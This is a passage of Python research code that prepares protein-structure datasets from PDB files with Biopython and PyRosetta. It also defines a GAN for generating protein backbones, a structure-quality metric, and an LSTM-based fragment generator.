[]:\n\t\t\t\tos.remove(TheFile)\n\t\t\telse:\n\t\t\t\tcontinue\n\t\tos.chdir(current)\n\tdef Break(self, directory):\n\t\t''' Remove structures with a broken (non-continuous) chains '''\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tprint('\\x1b[32m[+] Removing structures with non-continuous chains\\x1b[0m')\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\tstructure = Bio.PDB.PDBParser(QUIET=True).get_structure('X', TheFile)\n\t\t\tppb = Bio.PDB.Polypeptide.PPBuilder()\n\t\t\tType = ppb.build_peptides(structure, aa_only=True)\n\t\t\ttry:\n\t\t\t\tx = Type[1]\n\t\t\t\tos.remove(TheFile)\n\t\t\texcept:\n\t\t\t\tcontinue\n\t\tos.chdir(current)\n\tdef Renumber(self, directory):\n\t\t''' Renumber structures starting at 1 '''\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tprint('\\x1b[32m[+] Renumbering structures\\x1b[0m')\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\tpdb = open(TheFile , 'r')\n\t\t\tPDB = open(TheFile + 'X' , 'w')\n\t\t\tcount = 0\n\t\t\tnum = 0\n\t\t\tAA2 = None\n\t\t\tfor line in pdb:\n\t\t\t\tcount += 1\n\t\t\t\tAA1 = line[23:27]\n\t\t\t\tif not AA1 == AA2:\n\t\t\t\t\tnum += 1\n\t\t\t\tfinal_line = line[:7] + '{:4d}'.format(count) + line[11:17] + line[17:21] + 'A' + '{:4d}'.format(num) + line[26:]\n\t\t\t\tAA2 = AA1\n\t\t\t\tPDB.write(final_line)\n\t\t\tPDB.close()\n\t\t\tos.remove(TheFile)\n\t\t\tos.rename(TheFile + 'X' , TheFile)\n\t\tos.chdir(current)\n\ndef DatasetAsPSaM(directory):\n\t'''\n\tCompile a dataset of each residue's amino acid identify, secondary\n\tstructure, phi angle, psi angle, solvent accessible surface area as\n\ta .csv file and the contact map as a separate .csv file. to be run\n\tafter clean() on the ./cleaned directory and identifying the number\n\tof residuis of the largest structure\n\t'''\n\tos.makedirs('./Completed', exist_ok=True)\n\tos.makedirs('./Error_NotEqual', exist_ok=True)\n\tos.makedirs('./Error_Broken', exist_ok=True)\n\tos.makedirs('./Error_Small', exist_ok=True)\n\tfor File in tqdm.tqdm(os.listdir(directory)):\n\t\ttry:\n\t\t\tTheFile = '{}/{}'.format(directory, File)\n\t\t\tpose = pose_from_pdb(TheFile)\n\t\t\tDSSP = pyrosetta.rosetta.protocols.moves.DsspMover()\n\t\t\tDSSP.apply(pose)\n\t\t\tsasa_calc = pyrosetta.rosetta.core.scoring.sasa.SasaCalc()\n\t\t\tsasa_calc.calculate(pose)\n\t\t\tsize = pose.total_residue()\n\t\t\taa = []\n\t\t\tss = []\n\t\t\tphi = []\n\t\t\tpsi = []\n\t\t\tsasa = []\n\t\t\tinfo = []\n\t\t\tctmp = []\n\t\t\tm = []\n\t\t\tsurf = list(sasa_calc.get_residue_sasa())\n\t\t\tfor r in range(size):\n\t\t\t\tif pose.residue(r+1).is_protein():\n\t\t\t\t\taa.append(pose.sequence(r+1, r+1))\n\t\t\t\t\tss.append(pose.secstruct(r+1))\n\t\t\t\t\tp = pose.phi(r+1)\n\t\t\t\t\tif p < 0: p = p + 360\n\t\t\t\t\tphi.append(p)\n\t\t\t\t\ts = pose.psi(r+1)\n\t\t\t\t\tif s < 0: s = s + 360\n\t\t\t\t\tpsi.append(s)\n\t\t\t\t\tsasa.append(surf[r])\n\t\t\tfor r in range(0, size):\n\t\t\t\tfor R in range(0, size):\n\t\t\t\t\tif\tpose.residue(r+1).is_protein() and\\\n\t\t\t\t\t\tpose.residue(R+1).is_protein():\n\t\t\t\t\t\tCAr = pose.residue(r+1).xyz('CA')\n\t\t\t\t\t\tCAR = pose.residue(R+1).xyz('CA')\n\t\t\t\t\t\tCAr_CAR_vector = CAR-CAr\n\t\t\t\t\t\tCont = CAr_CAR_vector.norm()\n\t\t\t\t\t\tif Cont <= 12: ctmp.append(Cont)\n\t\t\t\t\t\telse: ctmp.append(0)\n\t\t\tif len(aa) >= 50:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tassert\tlen(aa) == len(ss) == len(phi)\\\n\t\t\t\t\t\t== len(psi) == len(sasa) == math.sqrt(len(ctmp))\n\t\t\t\t\t\tfor AA,SS,P,S,SASA in zip(aa,ss,phi,psi,sasa):\n\t\t\t\t\t\t\tinfo.append('{},{},{},{},{}'\\\n\t\t\t\t\t\t\t.format(AA, SS, P, S, SASA))\n\t\t\t\t\t\tInfo = ','.join(info)\n\t\t\t\t\t\twith open('./AsPSa.csv', 'a') as data:\n\t\t\t\t\t\t\tdata.write(File + ',' + Info + '\\n')\n\t\t\t\t\t\twith open('lengths.txt', 'a') as length:\n\t\t\t\t\t\t\tlength.write(str(len(aa))+'\\n')\n\t\t\t\t\t\tfor x in ctmp:\n\t\t\t\t\t\t\tm.append('{}'.format(x))\n\t\t\t\t\t\tM = ','.join(m)\n\t\t\t\t\t\twith open('./M.csv', 'a') as data:\n\t\t\t\t\t\t\tdata.write(File + ',' + M + '\\n')\n\t\t\t\t\t\tos.system('mv {} ./Completed'.format(TheFile))\n\t\t\t\t\texcept: os.system('mv {} ./Error_NotEqual'.format(TheFile))\n\t\t\telse: os.system('mv {} ./Error_Small'.format(TheFile))\n\t\texcept: os.system('mv {} ./Error_Broken'.format(TheFile))\n\tdef Fill(self, filename):\n\t\t''' Fills missing .csv table spaces with zeros '''\n\t\twith open(filename) as f:\n\t\t\twith open(filename, 'a') as F:\n\t\t\t\tfirst_line = f.readline()\n\t\t\t\tF.write(first_line)\n\t\t\t\tsize = len(first_line.strip().split(','))\n\t\t\t\tfor line in f:\n\t\t\t\t\tline = line.strip().split(',')\n\t\t\t\t\tgap = size - len(line)\n\t\t\t\t\tfor zero in range(gap):\n\t\t\t\t\t\tline.append('0')\n\t\t\t\t\tnew_line = ','.join(line)\n\t\t\t\t\tF.write(new_line + '\\n')\n\tdef Header(self, length=745, choice='AsPSa'):\n\t\t'''\n\t\tConstructs a .csv header and completes the dataset. To find the value of\n\t\tthe largest structure run: sort -nk 1 lengths.txt\n\t\t'''\n\t\theader = ['PDB_ID']\n\t\tif choice == 'AsPSa':\n\t\t\tfor i in range(1, length+1):\n\t\t\t\theader.append(',aa_{},ss_{},phi_{},psi_{},sasa_{}'\\\n\t\t\t\t.format(i, i, i, i, i))\n\t\t\theader = ''.join(header)\n\t\t\twith open('./AsPSa.csv', 'r') as data:\n\t\t\t\twith open('./dataset_AsPSa.csv', 'w') as head:\n\t\t\t\t\thead.write(header+'\\n')\n\t\t\t\t\tfor line in data:\n\t\t\t\t\t\thead.write(line)\n\t\telif choice == 'M':\n\t\t\tfor r in range(1, length+1):\n\t\t\t\tfor c in range(1, length+1):\n\t\t\t\t\theader.append(',aa{}_aa{}'.format(r, c))\n\t\t\theader = ''.join(header)\n\t\t\twith open('./M.csv', 'r') as data:\n\t\t\t\twith open('./dataset_M.csv', 'w') as head:\n\t\t\t\t\thead.write(header+'\\n')\n\t\t\t\t\tfor line in data:\n\t\t\t\t\t\thead.write(line)\n\nclass BACKBONE():\n\tdef gan(self, filename1=None, filename2=None, choice='generate'):\n\t\t'''\n\t\tA generative adversarial neural network that generates novel unnatural\n\t\tprotein backbone topologies. This network uses the phi and psi angles\n\t\tas well as a distance matrix as protein structure features\n\t\t'''\n\t\tlrG = 0.001\n\t\tlrD = 0.001\n\t\tnodeG = 6\n\t\tnodeD = 5\n\t\tmoment = 0.8\n\t\talpha = 0.2\n\t\tdrop = 0.25\n\t\tkernel = 3\n\t\tstride = 2\n\t\tlatent = 128\n\t\tbatchs = 64\n\t\tepochs = 1\n\t\tC_MAX = 12\n\t\ttry:\n\t\t\tdata = pd.read_csv(filename1)\n\t\t\tphi = data[data.columns[1::2]].values\n\t\t\tpsi = data[data.columns[2::2]].values\n\t\t\tphi /= 180\n\t\t\tpsi /= 180\n\t\t\tphi -= 1\n\t\t\tpsi -= 1\n\t\t\tdata = pd.read_csv(filename2)\n\t\t\tcm = data[data.columns[1:]].values\n\t\t\tcm = np.reshape(cm, (-1, 150, 150))\n\t\t\tcm /= (C_MAX/2)\n\t\t\tcm -= 1\n\t\t\tCM = cm\n\t\t\tPS = np.array([phi, psi])\n\t\t\tPS = np.swapaxes(PS, 0, 2)\n\t\t\tPS = np.swapaxes(PS, 0, 1)\n\t\t\tdataset = np.concatenate([PS, CM], axis=2)\n\t\t\tdataset = np.reshape(dataset,\n\t\t\t(-1, dataset.shape[1], dataset.shape[2], 1))\n\t\t\tPS, CM, cm, phi, psi = [], [], [], [], []\n\t\t\tsklearn.utils.shuffle(dataset)\n\t\t\tshape = dataset.shape[1:]\n\t\t\tprint(dataset.shape)\n\t\texcept: shape = (150, 152, 1)\n\t\tG = Sequential()\n\t\tG.add(Dense(2**(nodeG+1) * 75 * 38, activation='relu',input_dim=latent))\n\t\tG.add(Reshape((75, 38, 2**(nodeG+1))))\n\t\tG.add(UpSampling2D(size=(1, 2)))\n\t\tG.add(Conv2D(2**(nodeG+1), kernel_size=kernel, padding='same'))\n\t\tG.add(BatchNormalization(momentum=moment))\n\t\tG.add(Activation('relu'))\n\t\tG.add(UpSampling2D())\n\t\tG.add(Conv2D(2**(nodeG+0), kernel_size=kernel, padding='same'))\n\t\tG.add(BatchNormalization(momentum=moment))\n\t\tG.add(Activation('relu'))\n\t\tG.add(Conv2D(1, kernel_size=kernel, padding='same'))\n\t\tG.add(Activation('tanh'))\n\t\tD = Sequential()\n\t\tD.add(Conv2D(2**(nodeD+0), kernel_size=kernel, strides=stride, input_shape=shape, padding='same'))\n\t\tD.add(LeakyReLU(alpha=alpha))\n\t\tD.add(Dropout(drop))\n\t\tD.add(Conv2D(2**(nodeD+1), kernel_size=kernel, strides=stride, padding='same'))\n\t\tD.add(ZeroPadding2D(padding=((0, 1), (0, 1))))\n\t\tD.add(BatchNormalization(momentum=moment))\n\t\tD.add(LeakyReLU(alpha=alpha))\n\t\tD.add(Dropout(drop))\n\t\tD.add(Conv2D(2**(nodeD+2), kernel_size=kernel, strides=stride, padding='same'))\n\t\tD.add(BatchNormalization(momentum=moment))\n\t\tD.add(LeakyReLU(alpha=alpha))\n\t\tD.add(Dropout(drop))\n\t\tD.add(Conv2D(2**(nodeD+3), kernel_size=kernel, strides=stride-1, padding='same'))\n\t\tD.add(BatchNormalization(momentum=moment))\n\t\tD.add(LeakyReLU(alpha=alpha))\n\t\tD.add(Dropout(drop))\n\t\tD.add(Flatten())\n\t\tD.add(Dense(1, activation='sigmoid'))\n\t\tD.compile(optimizer=keras.optimizers.Adam(lrD), loss='binary_crossentropy', metrics=['accuracy'])\n\t\tz = keras.layers.Input(shape=(latent,))\n\t\tgen = G(z)\n\t\tD.trainable = False\n\t\tvalidity = D(gen)\n\t\tAM = keras.models.Model(z, validity)\n\t\tAM.compile(optimizer=keras.optimizers.Adam(lrG), loss='binary_crossentropy', metrics=['accuracy'])\n\t\tif choice == 'train':\n\t\t\tEpc, DTy, DFy, GNy = [], [], [], []\n\t\t\ty_true = np.ones([batchs, 1])\n\t\t\ty_false = np.zeros([batchs, 1])\n\t\t\tk = 3\n\t\t\tfor epoch in range(1, epochs+1):\n\t\t\t\tX_real = dataset[np.random.randint(0,\n\t\t\t\tdataset.shape[0],\n\t\t\t\tsize=batchs)]\n\t\t\t\tX_noise = np.random.normal(0.0, 1.0, size=[batchs, latent])\n\t\t\t\tX_fake = G.predict(X_noise)\n\t\t\t\tdT_loss = D.train_on_batch(X_real, y_true)\n\t\t\t\tdF_loss = D.train_on_batch(X_fake, y_false)\n\t\t\t\tDT_loss = round(float(dT_loss[0]), 3)\n\t\t\t\tDF_loss = round(float(dF_loss[0]), 3)\n\t\t\t\ttry: g_loss = [GNy[-1]]\n\t\t\t\texcept: g_loss = [0]\n\t\t\t\tif epoch % (k+1) == 0:\n\t\t\t\t\tg_loss = AM.train_on_batch(X_noise, y_true)\n\t\t\t\tGN_loss = round(float(g_loss[0]), 3)\n\t\t\t\tEpc.append(epoch)\n\t\t\t\tDTy.append(DT_loss)\n\t\t\t\tDFy.append(DF_loss)\n\t\t\t\tGNy.append(GN_loss)\n\t\t\t\tVerb =\t'Epoch: {:6d} [DT {:.7f}][DF {:.7f}][G {:.7f}]'\\\n\t\t\t\t\t\t.format(epoch, DT_loss, DF_loss, GN_loss)\n\t\t\t\tprint(Verb)\n\t\t\tG.save_weights('weights.h5')\n\t\t\treturn(Epc, DTy, DFy, GNy)\n\t\tif choice == 'generate':\n\t\t\ttry: G.load_weights('weights.h5')\n\t\t\texcept: print('Missing file: weights.h5'); exit()\n\t\t\tnoise = np.random.normal(0.0, 1.0, size=[1, latent])\n\t\t\tgen = G.predict(noise)\n\t\t\tP = gen[:,:,0]\n\t\t\tS = gen[:,:,1]\n\t\t\tC = gen[:,:,2:]\n\t\t\tP += 1\n\t\t\tS += 1\n\t\t\tC += 1\n\t\t\tP *= 180\n\t\t\tS *= 180\n\t\t\tC *= (C_MAX/2)\n\t\t\tP = np.reshape(P, (150,))\n\t\t\tS = np.reshape(S, (150,))\n\t\t\tC = np.reshape(C, (150, 150))\n\t\t\treturn(P, S, C)\n\tdef train(self, filename=None):\n\t\t''' Train the neural network '''\n\t\tself.gan('train', filename)\n\tdef generate(self, structures=1):\n\t\t''' Generate structures and fold them '''\n\t\tfor i in range(1, structures+1):\n\t\t\twhile True:\n\t\t\t\tP, S, C = self.gan()\n\t\t\t\ttry: self.fold(P, S, C)\n\t\t\t\texcept: continue\n\t\t\t\tif self.SQM('backbone.pdb')[1] == True:\n\t\t\t\t\tos.system('mv backbone.pdb {}.pdb'.format(str(i)))\n\t\t\t\telse: os.remove('backbone.pdb')\n\tdef SQM(self, filename):\n\t\t'''\n\t\tStructure Quality Metric:\n\t\tCalculates the ratio of helices and sheets to loops, the radius of\n\t\tgyration, and the percent of amino acids comprising the structure core.\n\t\tThen averages their values. Returns a value between 0.0-1.0 where 1.0\n\t\tis a good structure.\n\t\t'''\n\t\tparser = Bio.PDB.PDBParser()\n\t\tstructure = parser.get_structure('{}'.format(filename), filename)\n\t\tdssp = Bio.PDB.DSSP(structure[0], filename, acc_array='Wilke')\n\t\tppb = Bio.PDB.Polypeptide.PPBuilder()\n\t\tchain = ppb.build_peptides(structure, aa_only=False)[0]\n\t\tAminoAcid = {\t'A':129, 'P':159, 'N':195, 'H':224,\n\t\t\t\t\t\t'V':174, 'Y':263, 'C':167, 'K':236,\n\t\t\t\t\t\t'I':197, 'F':240, 'Q':225, 'S':155,\n\t\t\t\t\t\t'L':201, 'W':285, 'E':223, 'T':172,\n\t\t\t\t\t\t'M':224, 'R':274, 'G':104, 'D':193}\n\t\tsec_struct = []\n\t\tSASA = []\n\t\tCa_distances = []\n\t\tfor aa in dssp:\n\t\t\tif aa[2] == 'G' or aa[2] == 'H' or aa[2] == 'I': ss = 'H'\n\t\t\telif aa[2] == 'B' or aa[2] == 'E': ss = 'S'\n\t\t\telif aa[2] == 'S' or aa[2] == 'T' or aa[2] == '-': ss = 'L'\n\t\t\tsec_struct.append(ss)\n\t\t\tsasa = AminoAcid[aa[1]]*aa[3]\n\t\t\tif sasa <= 25: sasa = 'C'\n\t\t\telif 25 < sasa < 40:sasa = 'B'\n\t\t\telif sasa >= 40: sasa = 'S'\n\t\t\tSASA.append(sasa)\n\t\t\tresidue1 = chain[0]\n\t\t\tresidue2 = chain[aa[0]-1]\n\t\t\tatom1 = residue1['CA']\n\t\t\tatom2 = residue2['CA']\n\t\t\tCa_distances.append(atom1-atom2)\n\t\t''' Secondary structure measurement '''\n\t\tH = len([x for x in sec_struct if x == 'H'])\n\t\tS = len([x for x in sec_struct if x == 'S'])\n\t\tL = len([x for x in sec_struct if x == 'L'])\n\t\ttotal = len(sec_struct)\n\t\tSS = (H+S)/total\n\t\t''' SASA measurement '''\n\t\tsurface = len([x for x in SASA if x == 'S'])\n\t\tboundery = len([x for x in SASA if x == 'B'])\n\t\tcore = len([x for x in SASA if x == 'C'])\n\t\ttotal = len(SASA)\n\t\tpercent = (core*100)/total\n\t\tratio = percent/20 #Cutoff point 20%\n\t\tif ratio > 1: Core = 1.0\n\t\telse: Core = ratio\n\t\t''' Radius of gyration measurement '''\n\t\tcoord = list()\n\t\tmass = list()\n\t\tStructure = open(filename, 'r')\n\t\tfor line in Structure:\n\t\t\ttry:\n\t\t\t\tline = line.split()\n\t\t\t\tx = float(line[6])\n\t\t\t\ty = float(line[7])\n\t\t\t\tz = float(line[8])\n\t\t\t\tcoord.append([x, y, z])\n\t\t\t\tif line[-1] == 'C': mass.append(12.0107)\n\t\t\t\telif line[-1] == 'O': mass.append(15.9994)\n\t\t\t\telif line[-1] == 'N': mass.append(14.0067)\n\t\t\t\telif line[-1] == 'S': mass.append(32.065)\n\t\t\texcept: pass\n\t\txm = [(m*i, m*j, m*k) for (i, j, k), m in zip(coord, mass)]\n\t\ttmass = sum(mass)\n\t\trr = sum(mi*i + mj*j + mk*k for (i, j, k),(mi, mj, mk) in zip(coord,xm))\n\t\tmm = sum((sum(i)/tmass)**2 for i in zip(*xm))\n\t\trg = math.sqrt(rr/tmass-mm)\n\t\tratio = 15/rg #Cutoff point 15 angstroms\n\t\tif ratio > 1: Rg = 1.0\n\t\telse: Rg = ratio\n\t\t''' The metric '''\n\t\tItems = [SS, Rg, Core]\n\t\tTheSum = sum(Items)\n\t\tTheTotal = len(Items)\n\t\tTheMetric = TheSum/TheTotal\n\t\t''' The choice '''\n\t\tchoice = True\n\t\tif len(sec_struct) < 80: choice = False\n\t\tif H+S < L: choice = False\n\t\tif percent < 15: choice = False\n\t\tif max(Ca_distances) > 89: choice = False\n\t\treturn((round(TheMetric, 5), choice))\n\tdef fold(self, P, S, C):\n\t\t''' Folds a structure using phi/psi angles and contact map '''\n\t\tP = np.ndarray.tolist(P)\n\t\tS = np.ndarray.tolist(S)\n\t\tsize = int(len(P))\n\t\tVs = []\n\t\tfor numb in range(size): Vs.append('A')\n\t\tsequence = ''.join(Vs)\n\t\tpose = pose_from_sequence(sequence)\n\t\tfor count, (phi, psi) in enumerate(zip(P, S)):\n\t\t\tpose.set_phi(count+1, float(phi))\n\t\t\tpose.set_psi(count+1, float(psi))\n\t\tpose.dump_pdb('angles.pdb')\n\t\tstructure = Bio.PDB.PDBParser().get_structure('angles', 'angles.pdb')\n\t\tdssp = Bio.PDB.DSSP(structure[0], 'angles.pdb', acc_array='Wilke')\n\t\tppb = Bio.PDB.Polypeptide.PPBuilder()\n\t\tchain = ppb.build_peptides(structure, aa_only=False)[0]\n\t\tSS = []\n\t\tfor aa in dssp:\n\t\t\tif aa[2] == 'G' or aa[2] == 'H' or aa[2] == 'I': SSname = 'H'\n\t\t\telif aa[2] == 'B' or aa[2] == 'E': SSname = 'S'\n\t\t\telse: SSname = 'L'\n\t\t\tSS.append(SSname)\n\t\ttry:\n\t\t\tfor i in enumerate(reversed(SS)):\n\t\t\t\tif i[1] != 'L':\n\t\t\t\t\tnum = i[0]\n\t\t\t\t\tbreak\n\t\t\tfor model in structure:\n\t\t\t\tfor chain in model:\n\t\t\t\t\tfor i in reversed(range(150-num+1, 150+1)):\n\t\t\t\t\t\tchain.detach_child((' ', i, ' '))\n\t\t\tio = Bio.PDB.PDBIO()\n\t\t\tio.set_structure(structure)\n\t\t\tio.save('turnicated.pdb')\n\t\t\tos.remove('angles.pdb')\n\t\t\tpose = pose_from_pdb('turnicated.pdb')\n\t\texcept:\n\t\t\tos.remove('angles.pdb')\n\t\t\tprint('[-] Generated structure not satisfactory')\n\t\t\traise ValueError('Unsatisfactory structure')\n\t\tsize = pose.residues.__len__()\n\t\twith open('constraints.cst', 'w') as thefile:\n\t\t\tfor a in range(1, size+1):\n\t\t\t\tfor A in range(1, size+1):\n\t\t\t\t\tif C[a][A] !=0:\n\t\t\t\t\t\tline = 'AtomPair CA {} CA {} GAUSSIANFUNC {} 1.0\\n'\\\n\t\t\t\t\t\t.format(a, A, C[a][A])\n\t\t\t\t\t\tthefile.write(line)\n\t\tcon = pyrosetta.rosetta.protocols.constraint_movers.ConstraintSetMover()\n\t\tcon.constraint_file('constraints.cst')\n\t\tcon.add_constraints(True)\n\t\tcon.apply(pose)\n\t\tscorefxn = get_fa_scorefxn()\n\t\tscore_manager = pyrosetta.rosetta.core.scoring.ScoreTypeManager()\n\t\tatom_pair_constraint = score_manager.score_type_from_name('atom_pair_constraint')\n\t\trama_prepro = score_manager.score_type_from_name('rama_prepro')\n\t\tscorefxn.set_weight(atom_pair_constraint, 5)\n\t\tscorefxn.set_weight(rama_prepro, 5)\n\t\trelax = pyrosetta.rosetta.protocols.relax.FastRelax()\n\t\trelax.set_scorefxn(scorefxn)\n\t\tos.remove('turnicated.pdb')\n\t\tos.remove('constraints.cst')\n\t\trelax.apply(pose)\n\t\tpose.dump_pdb('backbone.pdb')\n\nclass FRAGMENT():\n\t''' A neural network that generates 3-mer and 9-mer fragments'''\n\tdef vectorise(self, filename='Fragments.csv', nx=1452):\n\t\t''' Vectorises the dataset, normalises it, then serialises it '''\n\t\t# 1. Import data\n\t\trows = len(open(filename).readlines()) - 1\n\t\t# 2. Generate a list of random number of rows\n\t\tlines = list(range(1, rows + 1))\n\t\trandom.shuffle(lines)\n\t\t# 3. Open CSV file\n\t\twith open(filename, 'r') as File: all_lines_variable = File.readlines()\n\t\tPDBID, CHAIN, X, Y = [], [], [], []\n\t\tfor i in lines:\n\t\t\t# 4. Import data line by line\n\t\t\tline = all_lines_variable[i]\n\t\t\tline = line.strip().split(',')\n\t\t\tif line[0] == '1OFD': continue # Causes an error\n\t\t\taa = np.array(line[2::6])\n\t\t\tss = np.array(line[3::6])\n\t\t\tp = np.array(line[4::6])\n\t\t\ts = np.array(line[5::6])\n\t\t\to = np.array(line[6::6])\n\t\t\tsasa = np.array(line[7::6])\n\t\t\tp = np.array([float(i) for i in p])\n\t\t\ts = np.array([float(i) for i in s])\n\t\t\to = np.array([float(i) for i in o])\n\t\t\tsasa = np.array([float(i) for i in sasa])\n\t\t\t# 5. Re-format data\n\t\t\taa[aa=='A'] = 0\n\t\t\taa[aa=='C'] = 1\n\t\t\taa[aa=='D'] = 2\n\t\t\taa[aa=='E'] = 3\n\t\t\taa[aa=='F'] = 4\n\t\t\taa[aa=='G'] = 5\n\t\t\taa[aa=='H'] = 6\n\t\t\taa[aa=='I'] = 7\n\t\t\taa[aa=='K'] = 8\n\t\t\taa[aa=='L'] = 9\n\t\t\taa[aa=='M'] = 10\n\t\t\taa[aa=='N'] = 11\n\t\t\taa[aa=='P'] = 12\n\t\t\taa[aa=='Q'] = 13\n\t\t\taa[aa=='R'] = 14\n\t\t\taa[aa=='S'] = 15\n\t\t\taa[aa=='T'] = 16\n\t\t\taa[aa=='V'] = 17\n\t\t\taa[aa=='W'] = 18\n\t\t\taa[aa=='Y'] = 19\n\t\t\tss[ss=='L'] = 0\n\t\t\tss[ss=='H'] = 1\n\t\t\tss[ss=='E'] = 2\n\t\t\tp[p<0] = p[p<0] + 360\n\t\t\ts[s<0] = s[s<0] + 360\n\t\t\to[o<0] = o[o<0] + 360\n\t\t\taa = aa.astype(int)\n\t\t\tss = ss.astype(int)\n\t\t\t# 6. Padding categories\n\t\t\tgap = nx - aa.size\n\t\t\tfor pad in range(gap):\n\t\t\t\taa = np.append(aa, -1)\n\t\t\t\tss = np.append(ss, -1)\n\t\t\t# 7. One-hot encode amino acid sequences and secondary structures\n\t\t\tAminos = []\n\t\t\tfor x in aa:\n\t\t\t\tletter = [0 for _ in range(20)]\n\t\t\t\tif x != -1: letter[x] = 1\n\t\t\t\tAminos.append(letter)\n\t\t\tStruct = []\n\t\t\tfor x in ss:\n\t\t\t\tletter = [0 for _ in range(3)]\n\t\t\t\tif x != -1: letter[x] = 1\n\t\t\t\tStruct.append(letter)\n\t\t\taa = np.array(Aminos)\n\t\t\tss = np.array(Struct)\n\t\t\t# 8. Normalise data [min/max]\n\t\t\tp = (p-0)/(360-0)\n\t\t\ts = (s-0)/(360-0)\n\t\t\to = (o-0)/(360-0)\n\t\t\tsasa = (sasa-0)/(277-0)\n\t\t\t# 9. Padding values\n\t\t\tfor pad in range(gap):\n\t\t\t\tp = np.append(p, 0)\n\t\t\t\ts = np.append(s, 0)\n\t\t\t\to = np.append(o, 0)\n\t\t\t\tsasa = np.append(sasa, 0)\n\t\t\t# 10. Expand axis\n\t\t\tp = np.expand_dims(p, axis=1)\n\t\t\ts = np.expand_dims(s, axis=1)\n\t\t\to = np.expand_dims(o, axis=1)\n\t\t\tsasa = np.expand_dims(sasa, axis=1)\n\t\t\t# 11. Export\n\t\t\tfeatur = np.concatenate((aa, ss), axis=1)\n\t\t\tangles = np.concatenate((p, s, o), axis=1)\n\t\t\tPDBID.append(line[0])\n\t\t\tCHAIN.append(line[1])\n\t\t\tX.append(featur)\n\t\t\tY.append(angles)\n\t\tPDBID = np.array(PDBID)\n\t\tCHAIN = np.array(CHAIN)\n\t\tPDBID = np.expand_dims(PDBID, axis=1)\n\t\tCHAIN = np.expand_dims(CHAIN, axis=1)\n\t\tX = np.array(X)\n\t\tY = np.array(Y)\n\t\tprint('X =', X.shape)\n\t\tprint('Y =', Y.shape)\n\t\t# 12. Serialise tensors\n\t\twith h5py.File('Y.hdf5', 'w') as y:\n\t\t\tdset = y.create_dataset('default', data=Y)\n\t\twith h5py.File('X.hdf5', 'w') as x:\n\t\t\tdset = x.create_dataset('default', data=X)\n\tdef fold(self, p, s, o):\n\t\t''' Use the angle output of the LSTM network to fold a structure '''\n\t\tsize = int(len(p))\n\t\tVs = []\n\t\tfor numb in range(size): Vs.append('V')\n\t\tsequence = ''.join(Vs)\n\t\tpose = pose_from_sequence(sequence)\n\t\tcount = 1\n\t\tfor P, S, O in zip(p, s, o):\n\t\t\tpose.set_phi( count, float(P))\n\t\t\tpose.set_psi( count, float(S))\n\t\t\tpose.set_omega(count, float(O))\n\t\t\tcount += 1\n\t\tpose.dump_pdb('backbone.pdb')\n\tdef fragments(self, aa='AAA', ss='HHH', p=[], s=[], o=[]):\n\t\t''' Generate 3-mer and 9-mer fragments '''\n\t\t# 3-mer\n\t\tmer3 = []\n\t\tPchunks3 = []\n\t\tSchunks3 = []\n\t\tOchunks3 = []\n\t\tAAchunks3 = []\n\t\tSSchunks3 = []\n\t\tfor i in range(int(len(aa)-2)):\n\t\t\tPchunks3.append(p[i:i+3])\n\t\t\tSchunks3.append(s[i:i+3])\n\t\t\tOchunks3.append(o[i:i+3])\n\t\t\tAAchunks3.append(aa[i:i+3])\n\t\t\tSSchunks3.append(ss[i:i+3])\n\t\tfor item in zip(AAchunks3, SSchunks3, Pchunks3, Schunks3, Ochunks3):\n\t\t\tAA, SS, P, S, O = item[0], item[1], item[2], item[3], item[4]\n\t\t\tfor AAs, SSs, Ps, Ss, Os in zip(AA, SS, P, S, O):\n\t\t\t\tPs, Ss, Os = round(Ps, 3), round(Ss, 3), round(Os, 3)\n\t\t\t\tline = ' xxxx A 00 V {} {:8} {:8} {:8}'\\\n\t\t\t\t.format(SSs, Ps, Ss, Os)\n\t\t\t\tmer3.append(line)\n\t\t# 9-mer\n\t\tmer9 = []\n\t\tPchunks9 = []\n\t\tSchunks9 = []\n\t\tOchunks9 = []\n\t\tAAchunks9 = []\n\t\tSSchunks9 = []\n\t\tfor i in range(int(len(aa)-8)):\n\t\t\tPchunks9.append(p[i:i+9])\n\t\t\tSchunks9.append(s[i:i+9])\n\t\t\tOchunks9.append(o[i:i+9])\n\t\t\tAAchunks9.append(aa[i:i+9])\n\t\t\tSSchunks9.append(ss[i:i+9])\n\t\tfor item in zip(AAchunks9, SSchunks9, Pchunks9, Schunks9, Ochunks9):\n\t\t\tAA, SS, P, S, O = item[0], item[1], item[2], item[3], item[4]\n\t\t\tfor AAs, SSs, Ps, Ss, Os in zip(AA, SS, P, S, O):\n\t\t\t\tPs, Ss, Os = round(Ps, 3), round(Ss, 3), round(Os, 3)\n\t\t\t\tline = ' xxxx A 00 V {} {:8} {:8} {:8}'\\\n\t\t\t\t.format(SSs, Ps, Ss, Os)\n\t\t\t\tmer9.append(line)\n\t\treturn(mer3, mer9)\n\tdef picking(self, aa='MSSRSELLLEKF', ss='LLLHHHHHHHHH', size=3):\n\t\t''' Fragment picking '''\n\t\tmer3, mer9 = [], []\n\t\tfor i in range(1, size+1):\n\t\t\tp, s, o = lstm(choice='predict', aa=aa, ss=ss)\n\t\t\tIII, IX = self.fragments(aa, ss, p, s, o)\n\t\t\tmer3.append(III)\n\t\t\tmer9.append(IX)\n\t\twith open('frags.200.9mers', 'w') as f:\n\t\t\tfor n, N in enumerate(range(0, int(len(mer9[0])/9)*9, 9)):\n\t\t\t\tf.write('\\n position: {:12} neighbors: {:9}\\n'.format(n+1, 3))\n\t\t\t\tfor P in range(len(mer9)):\n\t\t\t\t\tf.write('\\n')\n\t\t\t\t\tfor i in mer9[P][N:N+9]:\n\t\t\t\t\t\tf.write(i+'\\n')\n\t\twith open('frags.200.3mers', 'w') as f:\n\t\t\tfor n, N in enumerate(range(0, int(len(mer3[0])/3)*3, 3)):\n\t\t\t\tf.write('\\n position: {:12} neighbors: {:9}\\n'.format(n+1, 3))\n\t\t\t\tfor P in range(len(mer3)):\n\t\t\t\t\tf.write('\\n')\n\t\t\t\t\tfor i in mer3[P][N:N+3]:\n\t\t\t\t\t\tf.write(i+'\\n')\n\tdef lstm(self, X='X.hdf5', Y='Y.hdf5', choice='train', aa=[], ss=[]):\n\t\t''' Encoder-decoder sequence-to-sequence LSTM 